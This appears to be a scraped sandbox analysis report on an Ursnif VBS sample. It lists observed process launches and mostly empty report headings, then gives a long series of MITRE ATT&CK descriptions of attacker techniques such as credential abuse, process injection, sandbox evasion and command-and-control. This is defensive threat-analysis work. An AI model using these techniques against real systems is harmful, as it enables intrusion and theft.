File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: csc.exe PID: 4936 Parent PID: 5104

General

Start time:	11:14:03
Start date:	10/09/2021
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\kuljoghz\kuljoghz.cmdline'
Imagebase:	0x7ff6cb430000
File size:	2739304 bytes
MD5 hash:	B46100977911A0C9FB1C3E5F16A5017D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Analysis Process: cvtres.exe PID: 5424 Parent PID: 4936

General

Start time:	11:14:05
Start date:	10/09/2021
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 '/OUT:C:\Users\user\AppData\Local\Temp\RESB252.tmp' 'c:\Users\user\AppData\Local\Temp\kuljoghz\CSCFD41DB177D83417DAD6FB740EC17B379.TMP'
Imagebase:	0x7ff6f6960000
File size:	47280 bytes
MD5 hash:	33BB8BE0B4F547324D93D5D2725CAC3D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Analysis Process: csc.exe PID: 2424 Parent PID: 5104

General

Start time:	11:14:08
Start date:	10/09/2021
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\cshxvr3e\cshxvr3e.cmdline'
Imagebase:	0x7ff6cb430000
File size:	2739304 bytes
MD5 hash:	B46100977911A0C9FB1C3E5F16A5017D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Analysis Process: cvtres.exe PID: 7052 Parent PID: 2424

General

Start time:	11:14:09
Start date:	10/09/2021
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 '/OUT:C:\Users\user\AppData\Local\Temp\RESC397.tmp' 'c:\Users\user\AppData\Local\Temp\cshxvr3e\CSC395E5146EDFE427593BFE3FCA45BE18C.TMP'
Imagebase:	0x7ff6f6960000
File size:	47280 bytes
MD5 hash:	33BB8BE0B4F547324D93D5D2725CAC3D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Analysis Process: control.exe PID: 5764 Parent PID: 6704

General

Start time:	11:14:16
Start date:	10/09/2021
Path:	C:\Windows\System32\control.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\control.exe -h
Imagebase:
File size:	117760 bytes
MD5 hash:	625DAC87CB5D7D44C5CA1DA57898065F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Disassembly

Code Analysis

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Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	AWS CloudTrail logs, Authentication logs, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	DLL monitoring, File monitoring, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information.
Tactics:	Defense Evasion
Data Sources:	BIOS, MBR, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Loaded DLLs, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Windows Analysis Report sample.vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Ursnif

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Data Obfuscation:

Jbx Signature Overview

AV Detection:

Cryptography:

Compliance:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

Spam, unwanted Advertisements and Ransom Demands:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre